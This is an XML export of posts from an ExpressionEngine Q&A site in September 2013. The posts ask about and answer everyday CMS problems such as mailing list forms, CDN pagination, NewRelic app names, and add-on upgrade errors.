  <row Id="13772" PostTypeId="2" ParentId="13770" CreationDate="2013-09-14T12:09:20.203" Score="2" Body="&lt;p&gt;Nothing to do with Freeform or ExpressionEngine, just your CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 solutions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;six columns&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;twelve columns&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or add a new CSS style:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form#freeform .columns {&#xA;    float:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-14T12:09:20.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13773" PostTypeId="2" ParentId="13770" CreationDate="2013-09-14T15:16:43.770" Score="1" Body="&lt;p&gt;I just needed to put the ul inside a div with class &quot;row&quot;&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-09-14T15:16:43.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13774" PostTypeId="2" ParentId="12766" CreationDate="2013-09-14T19:09:41.050" Score="0" Body="&lt;p&gt;You might want to try restoring the original directory for the field types. Not sure if this idea is transferable, but we had an issue upgrading from 2.55 to 2.7 where our &quot;Relationship&quot; channel fields broke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uploading the old &lt;code&gt;rel&lt;/code&gt; folder into the &lt;code&gt;fieldtypes&lt;/code&gt; folder then allowed us to change those fields in the control panel into the new &quot;Relationships&quot; field type.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-09-14T19:09:41.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13775" PostTypeId="2" ParentId="13758" CreationDate="2013-09-15T03:15:12.460" Score="3" Body="&lt;p&gt;As error messages indicate, its due to FROM value which doesn't get by Email library. Can you check the MX Notify Control setting for that channel entry notification if having &quot;From Name&quot; and &quot;From Name&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-15T03:15:12.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13777" PostTypeId="1" CreationDate="2013-09-15T07:20:55.577" Score="0" ViewCount="528" Body="&lt;p&gt;I'm using the following code in my template for a Mailing List form, but it doesn't seem to be working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mailinglist:form&#xA;    list=&quot;default&quot;&#xA;}&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;email&quot; placeholder=&quot;Enter email&quot; name=&quot;email&quot; value=&quot;{email}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;&#xA;{/exp:mailinglist:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form seems to post though no email appears in my default mailing list. Any thoughts on what could be the issue? I'm on 2.7 and am using .htaccess to remove the index.php.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-09-25T14:56:07.860" Title="Mailing List Module not working" Tags="|forms|2.7.0|mailinglist|mailing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13779" PostTypeId="2" ParentId="13777" CreationDate="2013-09-15T07:59:18.757" Score="1" Body="&lt;p&gt;Make sure you CAN send an email.&#xA;Send a test email in the communicate window. Otherwise your code looks ok.&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/communicate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;communicate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, read this &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/email/emails_not_reaching_destination.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Emails sent via ExpressionEngine are never reaching their destination&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, can you receive the email from mailing list? I assume you are inputting a valid email. Docs say this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Mailing List is an opt in type, meaning that when someone adds their email address to the list, they are sent a confirmation email containing a link with an access code. Unless they click the link, their email address will not be added to the list. The opt-in link will expire in 48 hours. Conversely, when someone in your mailing list receives an email, there will be an “unsubscribe” link permitting them to remove themselves from the list`.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just tested your link. Yep, no email received.&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13784/mailing-list-error-on-live-but-not-local-install&quot;&gt;some one else having same issue&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last idea, the source shows action id 19.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;19&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure this action id is listed in db table exp_actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, and im guessing here, move this mailing list tag off the home screen to another template and retest. Forms submit to home screen. I wonder if this is causing an issue here?&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-09-16T19:35:39.550" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13780" PostTypeId="1" AcceptedAnswerId="13804" CreationDate="2013-09-15T09:09:50.843" Score="1" ViewCount="31" Body="&lt;p&gt;I had a problem with my Expression Engine. Today login for my system and i have a error off database number 5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAcfd.png&quot; alt=&quot;Error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2013-10-16T16:58:28.580" Title="Database error number 5" Tags="|ee2|error|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13781" PostTypeId="2" ParentId="13766" CreationDate="2013-09-15T09:10:54.467" Score="0" Body="&lt;p&gt;Daniel, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&quot; rel=&quot;nofollow&quot;&gt;debugger and profiler&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel entries tag has some overhead - number of queries and sever memory. Look at the numbers in your debugger. As a guide, im happy with less than 40 queries, less than 6mb memory and response time less than 0.6 secs. If any of your numbers are way higher(double +) then you need to do some optimising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your home page you have 4 x channel entries. If you have plugins installed like matrix or channel images then the channel entries tags will be generating a lot of queries. This is not good for your home page because it will be slow to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is good news, i hope....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your 'developer' would have been smart enough to add the disable param to the channel entries tag (and you removed it when you pasted in the code!). Something like this &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;see docs&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make the channel entries tag lighter/more efficient by reducing the amount of data returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your 'developer' will have also cached the results of the channel entries tags in some way so that the queries dont need to be run every time someone hits the home page. Stash is a good solution here, but if you are new to EE, it may/will take you a while to get it. Hint think &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst the suggestion of an embed is good, it adds additional overhead to your page load, which you should want to avoid in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have paginate='bottom' for the second channel entries. Do you want to paginate these results? If so, every page of results you go to forces the other channel entries tag queries to be run AGAIN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a suggestion, we use stash to cache for 24 hrs the titles of 4 channel entries tags on one of our landing ages. We also gone a step further and used automatee plugin to rebuild this cache at midnight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from these performance tips ive given, youve been given two good answers on ways to meet specific need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, since youre new to the forum, if an answer assists you, ensure you mark it accordingly so others can benefit from your question + answer/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-15T09:16:49.427" LastActivityDate="2013-09-15T09:16:49.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13782" PostTypeId="1" CreationDate="2013-09-15T09:55:08.650" Score="1" ViewCount="250" Body="&lt;p&gt;Just upgraded to EE 2.7.0. We already use NewRelic for a while to monitor server and application performances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading the website to EE 2.7 the site shows up in the Newrelic Application list as: &quot;ExpressionEngine v2.7.0&quot; instead of with the sites name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I change these, apparently default settings, to show the sites name instead?&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-10-01T13:34:31.663" Title="Newrelic Application Name set by default to: ExpressionEngine v2.7.0" Tags="|ee2|newrelic|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13783" PostTypeId="2" ParentId="13704" CreationDate="2013-09-15T14:52:34.783" Score="4" Body="&lt;p&gt;Your page content isn't loading/linking properly without www in the url. So &lt;a href=&quot;http://www.thresholdinteriorsnyc.com/press/&quot; rel=&quot;nofollow&quot;&gt;http://www.thresholdinteriorsnyc.com/press/&lt;/a&gt; works, but &lt;a href=&quot;http://thresholdinteriorsnyc.com/press&quot; rel=&quot;nofollow&quot;&gt;http://thresholdinteriorsnyc.com/press&lt;/a&gt; doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your htaccess for the proper redirects and watch out for absolute paths in your code.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-09-15T14:52:34.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13785" PostTypeId="1" AcceptedAnswerId="17116" CreationDate="2013-09-15T15:32:40.453" Score="1" ViewCount="715" Body="&lt;p&gt;As the title says, looking for the best way to integrate a cdn with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have a cdn account with MaxCDN and my solutions was to change the site_url within the configuration site to my cname address &lt;a href=&quot;http://cdn.mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://cdn.mysite.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there I added a global variable and named it {root_url} that was my sites original address &lt;a href=&quot;http://www.mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just went and changed all menu links and such to use the global variable instead of the {site_url}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does work, however where I'm running into problems is the pagination. The pagination uses the site_url, which is now the cdn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are other people using a cdn with their EE install? Is there a better solution? Although this works, it seems clunky to me. Would really like to get some others advice/perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to relate previous and next entries as well when viewing a blog post for example using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;pager&quot;&amp;gt;&#xA;  {exp:channel:prev_entry channel=&quot;blog&quot;}&#xA;  &amp;lt;li class=&quot;previous&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{root_url}blog/view/{url_title}&quot;&amp;gt;&amp;amp;larr; {title}&amp;lt;/a&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  {/exp:channel:prev_entry}&#xA;  {exp:channel:next_entry channel=&quot;blog&quot;}&#xA;  &amp;lt;li class=&quot;next&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{root_url}blog/view/{url_title}&quot;&amp;gt;{title} &amp;amp;rarr;&amp;lt;/a&amp;gt; &#xA;  &amp;lt;/li&amp;gt;&#xA;  {/exp:channel:next_entry}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I've not been able to figure out how to change the pagination links to use the same {root_url} prefix. It seems you can completely customize the output and look of the pagination but not the links?&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2013-11-25T18:48:05.450" Title="Using ExpressionEngine with CDN" Tags="|ee2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13786" PostTypeId="1" CreationDate="2013-09-15T16:06:07.353" Score="1" ViewCount="192" Body="&lt;p&gt;The subject says it all, really... Assets apparently uses an internal ID for folders that is different from EE's folder ID. Disregarding the reasoning WHY Assets had to have different folder IDs... how can I see which folder ID Assets uses? The only place I've been able to see it is by inspecting the underlying HTML that makes up the folder list on the left in Assets -&gt; File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-10-16T07:58:24.657" Title="How can I determine Assets' internal folder_id for use in the {exp:assets:files} tag?" Tags="|assets|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13787" PostTypeId="1" AcceptedAnswerId="13942" CreationDate="2013-09-15T17:28:16.160" Score="1" ViewCount="185" Body="&lt;p&gt;Is there a way to insert an image's &quot;Image Manipulation&quot; into a Wygwam field? I'm using Assets as the file manager in Wygwam.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-09-20T10:29:54.893" Title="Wygwam, Assets, and Image Manipulations" Tags="|assets|wygwam|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13788" PostTypeId="2" ParentId="13764" CreationDate="2013-09-15T17:52:24.313" Score="2" Body="&lt;p&gt;Have you tried &lt;code&gt;{url}&lt;/code&gt; or &lt;code&gt;{server_path}&lt;/code&gt;? I suspect that &lt;code&gt;{subfolder}&lt;/code&gt; (confusingly) refers subfolders of existing EE File Upload paths (i.e. subfolders that Assets recognizes, but EE does not).&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-09-15T17:52:24.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13789" PostTypeId="2" ParentId="13785" CreationDate="2013-09-15T23:00:10.690" Score="1" Body="&lt;p&gt;Have you tried the &lt;code&gt;paginate_base&lt;/code&gt; parameter? You should be able to override the URL through this.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-09-15T23:00:10.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13790" PostTypeId="1" AcceptedAnswerId="13791" CreationDate="2013-09-15T23:53:05.247" Score="1" ViewCount="89" Body="&lt;p&gt;I have seen a lot of implementations where the exp channel tag is used without specifying any channel or url, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; disable=&quot;member_data|pagination|categories&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not built anything significant with EE yet and from all the material I have read so far, I have always been specifying the channel(s) that I wish to request information from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how does this work exactly when no channel is in the tag - does it just take the last_segment or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for clearing up!!&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2013-09-16T00:11:57.990" Title="How does channel entries tag work when no channel name is specified?" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13791" PostTypeId="2" ParentId="13790" CreationDate="2013-09-16T00:11:57.990" Score="5" Body="&lt;p&gt;The channel entries tag is a bit special in that, by default, it looks at your URL to determine how and whether to filter the entries that it returns. You can switch off this dynamic behaviour with the &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primarily, the tag will filter itself down to entries matching a url_title contained in segment_2 or segment_3 (bear in mind that url_titles &lt;em&gt;are&lt;/em&gt; allowed to be duplicated if the entries are in different channels, so using limit=&quot;1&quot; is a good safety net if you're displaying a single entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the tag will filter itself further based on three extra factors that it looks for in the URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;categories&lt;/li&gt;&#xA;&lt;li&gt;dates&lt;/li&gt;&#xA;&lt;li&gt;pagination&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a full explanation, take a look here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lXaL.png&quot; alt=&quot;ExpressionEngine URL Schematic&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-09-16T00:11:57.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13792" PostTypeId="2" ParentId="13782" CreationDate="2013-09-16T02:27:12.653" Score="2" Body="&lt;p&gt;At the current version, which is 2.7, you can't change the App Name on New Relic, because the name is set on &lt;code&gt;\system\expressionengine\libraries\Newrelic.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function set_appname()&#xA;{&#xA;    newrelic_set_appname(APP_NAME.' v'.APP_VER);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I filled a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19712&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fixed on EECMS 2.7.1. The name can be set on Admin ‣ System Administration ‣ Output and Debugging or by &lt;code&gt;$config['newrelic_app_name'] = 'My Site';&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-09-25T13:20:21.603" LastActivityDate="2013-09-25T13:20:21.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13793" PostTypeId="1" CreationDate="2013-09-16T05:57:34.870" Score="2" ViewCount="84" Body="&lt;p&gt;I am new to the Store module. Store module is working only the &lt;strong&gt;Control Panel&lt;/strong&gt; logged in members. If I'm not logged into the Control Panel, Side bar Cart is showing that: &quot;Your cart is empty&quot;. When I click on Add to Cart it's not working either. It is working only when CP is logged in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this? any Configuration settings please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ExpressionEngine 2.6.1&#xA;and Store module is: 1.6.4&lt;/p&gt;&#xA;" OwnerUserId="2064" LastEditorUserId="2066" LastEditDate="2013-09-17T12:04:52.057" LastActivityDate="2015-04-30T17:16:49.743" Title="Store module is working only the control panel logged in members" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13794" PostTypeId="2" ParentId="13786" CreationDate="2013-09-16T06:38:05.290" Score="1" Body="&lt;p&gt;Well, the short answer is &quot;managing files and folders when only way of grouping them is by the files relative path is an absolute nightmare.&quot; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not be using that folder id explicitly, anyway, as folders are subject to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be using &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/module/folders.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/templating/module/folders.html&lt;/a&gt; to get the folder ids that you need.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-16T06:38:05.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13795" PostTypeId="1" CreationDate="2013-09-16T08:28:24.703" Score="1" ViewCount="128" Body="&lt;p&gt;I am using {event_start_date format=&quot;%M %j&quot;} to get the format eg Sep 19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in some cases it is outputting the month as &quot;month_09_3&quot; if the URl segments match the date of that event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:calendar:cal&#xA;                date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;                show_months=&quot;10&quot;&#xA;                pad_short_weeks=&quot;n&quot;&#xA;                {if segment_2 !=&quot;all&quot;}calendar_name=&quot;{segment_2}&quot;{/if}&#xA;        }&#xA;        {events}  &#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;{event_start_date format=&quot;%M %j&quot;} {if event_multi_day}- {event_end_date format=&quot;%M %j&quot;}{/if}&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt; &#xA;                &amp;lt;td&amp;gt;{event_title}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{event_calendar_title}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/events}&#xA;            {if no_results}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;3&quot;&amp;gt;&#xA;                    There are currently no events to display.&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;{/if}&#xA;&#xA;&#xA;        {/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The url example would be &lt;a href=&quot;http://www.domain.com/new-calendar/culture/2013/09/19/&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/new-calendar/culture/2013/09/19/&lt;/a&gt; segment 2 being the calendar_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="541" LastEditorUserId="541" LastEditDate="2013-09-17T05:52:08.373" LastActivityDate="2013-09-18T14:08:17.837" Title="event_start_date formatting month_09_3 instead of September" Tags="|ee2|solspace|calendar|solspace-calendar|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13796" PostTypeId="1" CreationDate="2013-09-16T09:20:13.660" Score="1" ViewCount="91" Body="&lt;p&gt;When displaying entries by date: /blog/2013/09/12 (day) or /blog/2013/09 (month),&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can i get the link to the next/previous day or month?&lt;/li&gt;&#xA;&lt;li&gt;More important, when using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/calendar.html#day-path&quot; rel=&quot;nofollow&quot;&gt;channel calendar&lt;/a&gt; tag, using the day-path variable in the calendar will show links for days that have entries. When visiting such a link (/blog/2013/09/12), how can i link on that page to the next date &lt;strong&gt;that does have entries&lt;/strong&gt; ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-09-16T09:20:13.660" Title="How to link to next date (day/month) with date in url?" Tags="|date|links|next-prev|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13797" PostTypeId="1" AcceptedAnswerId="13798" CreationDate="2013-09-16T09:20:27.970" Score="2" ViewCount="275" Body="&lt;p&gt;I get the following error when updating Playa to V4.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'parent_var_id' in 'exp_playa_relationships'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE exp_playa_relationships ADD parent_is_draft INT(1) UNSIGNED NOT NULL DEFAULT 0 AFTER parent_var_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/playa/ft.playa.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Environment is MAMP, EE2.7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when clicking the playa link in the fieldtypes CP display. Oddly, the version is already at 4.4.5 when I do that, but maybe because I ran the module updates before - I was updating two other P&amp;amp;T addons at the same time - Matrix and Assets.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-11-07T19:34:35.137" Title="Unknown column 'parent_var_id' in 'exp_playa_relationships'" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13798" PostTypeId="2" ParentId="13797" CreationDate="2013-09-16T09:52:35.800" Score="4" Body="&lt;p&gt;After updating Playa and it failing to run it's update forDB schema, here's what you can try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the columns in exp_playa_relationships table in the database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it have a field parent_var_id? If no, then the version you should set is 4.1. &lt;/li&gt;&#xA;&lt;li&gt;If yes, does it have a field parent_is_draft? If no, then the version you should set is 4.3  &lt;/li&gt;&#xA;&lt;li&gt;If yes, then the version you should set is 4.4.5  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, set the version number we determined in the previous three steps for the Playa field in the exp_fieldtypes table and go visit the Add-ons -&gt; Fieldtypes -&gt; Playa page and hit submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should be all working now.&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="722" LastEditDate="2013-11-07T19:34:35.137" LastActivityDate="2013-11-07T19:34:35.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13799" PostTypeId="2" ParentId="13443" CreationDate="2013-09-16T11:37:26.250" Score="4" Body="&lt;p&gt;This is far from obvious how to achieve in EE, and it's not really documented at all. A long while ago I &lt;a href=&quot;https://stackoverflow.com/a/5320740/462702&quot;&gt;wrote up on Stack Overflow&lt;/a&gt; how we (used to) do this in Store, and this was in turn based on how SafeCracker (now Channel Form) did it. However, I've since figured out an even cleaner way to achieve it (Channel Form, FreeMember, and many other add-ons use this new pattern).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without writing a 3 page answer it's hard to describe it completely. I suggest reading through the &lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/system/expressionengine/third_party/freemember/mod.freemember.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeMember module source code&lt;/a&gt; to get an idea for how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic concept is to handle the form submission using an action (as usual), and if there are any errors then make a note of them in a static variable (so you can access them later in the page load). Finally, call &lt;code&gt;ee()-&amp;gt;core-&amp;gt;generate_page();&lt;/code&gt;, which will let EE resume the page load. When EE's parser gets down to your template tag, you can check for the existence of inline errors, and output them as variables to display in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must also be sure that your original form simply posts to the current page, not a &lt;code&gt;index.php?ACT=123&lt;/code&gt; style URL. As long as an &lt;code&gt;ACT&lt;/code&gt; parameter is part of the POST array, your action will still be called (EE allows the ACT parameter to passed via either POST or GET, it doesn't matter). This allows EE to continue rendering the correct page when you call &lt;code&gt;ee()-&amp;gt;core-&amp;gt;generate_page();&lt;/code&gt;. In Store we achieve this by simply leaving the HTML form &lt;code&gt;action=&quot;&quot;&lt;/code&gt; parameter out entirely, as this is valid HTML5 and all browsers treat it as &quot;post to the current page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is a little convoluted, but it gives the designer maximum flexibility over how to display your module's error messages.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-09-16T11:37:26.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
